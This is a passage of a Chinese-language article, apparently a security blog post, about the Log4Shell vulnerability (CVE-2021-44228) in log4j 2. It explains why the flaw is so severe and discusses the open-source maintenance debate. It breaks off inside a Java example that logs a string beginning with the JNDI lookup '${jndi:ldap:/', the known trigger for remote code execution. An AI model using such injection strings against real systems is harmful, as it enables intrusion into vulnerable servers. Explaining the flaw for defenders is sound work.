多年以后,面对加班的夜晚,Volkan Yazıcı 一定会回忆起发生在 2021 年底的这件事情,除了没日没夜的工作和无休止的解释以外,当然也少不了人们的愤怒和对他的谩骂。一不小心就见证历史的,除了 log4j 的作者们,还有我们所有人。
起初,大家都度过了一个黑客狂欢,吃瓜群众玩梗,开发们加班的周末,以为这可能是又一次“心脏出血”或者“永恒之蓝”。随着事情愈演愈烈,影响愈来愈大,现在大家都应该认识到,这个漏洞比心脏出血要严重得多。比如 CISA 的官员称其为从业以来最严重的漏洞(之一),log4j 的修复也导致短短两周内升了三个大版本(目前只有最新的 2.17.0 被认为是没有问题的)。所以朋友们,不要怀疑,这绝对是一个有生之年系列。
核弹级漏洞 Log4Shell
漏洞本体 log4j 2.x,编号 CVE-2021-44228,满分10分,花名 Log4Shell。
Log4Shell 之所以被称之为一个核弹级漏洞,是因为它具有以下这些特征:
- 广泛性:大(海)量 Java 应用都依赖于 log4j 2,log4j 是事实上的日志标准。而 Java 本身的跨平台特性,使得所有主流操作系统包括各种运行 Java 的嵌入式设备都受到影响。
- 严重性:从花名 Log4Shell 就可以看出来,它是一个 RCE 漏洞,也就是远程代码执行漏洞。这是所有漏洞中级别最高的一种。
- 易利用性:该漏洞默认开启,攻击面广,攻击渠道多,攻击效果稳定,攻击条件易满足,简单来讲,对攻击者非常友好。堪称脚本小子的入门级漏洞。
- 长期性:因为 Log4Shell 具有明显的供应链攻击特点,并且对于数量庞大的企业资产来说,确定影响范围非常非常非常困难。保守估计,log4j 的负面影响至少需要半年时间来缓解。
众说纷纭
距离漏洞爆出来已经过了三周,关于漏洞的讨论已然铺天盖地,审美疲劳。这其中,有安全厂商第一时间出来提供缓解措施和修复建议,有云计算和安全厂商趁热打铁推销他们的 WAF 或者其它安全产品;有很多的安全工作者在社交媒体上分享博客和文章,分析漏洞原理,科普安全知识;有开发人员质疑 log4j 的作者设计不当,莫名其妙,难辞其咎,也有开发人员对此表示理解,认为如今开源难做,重要而基础的组件全是免费维护,而一毛不拔的大厂才是罪恶根源。
作为一个冷眼旁观的安全工作者,笔者并不急于站队,注意力则放在搜集和整理关于 Log4Shell 的各种或有趣,或有价值的事实和知识上。对于开发人员来说,第一要务是尽快修复自己的产品和代码,但是忙碌之余,是不是也好奇除了这些无聊的升级和修复以外,关于 Log4Shell,还有哪些你需要知道的事情呢。
漏洞细节
以下代码对于 log4j (< 2.15.0),默认会触发这个漏洞:
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap:/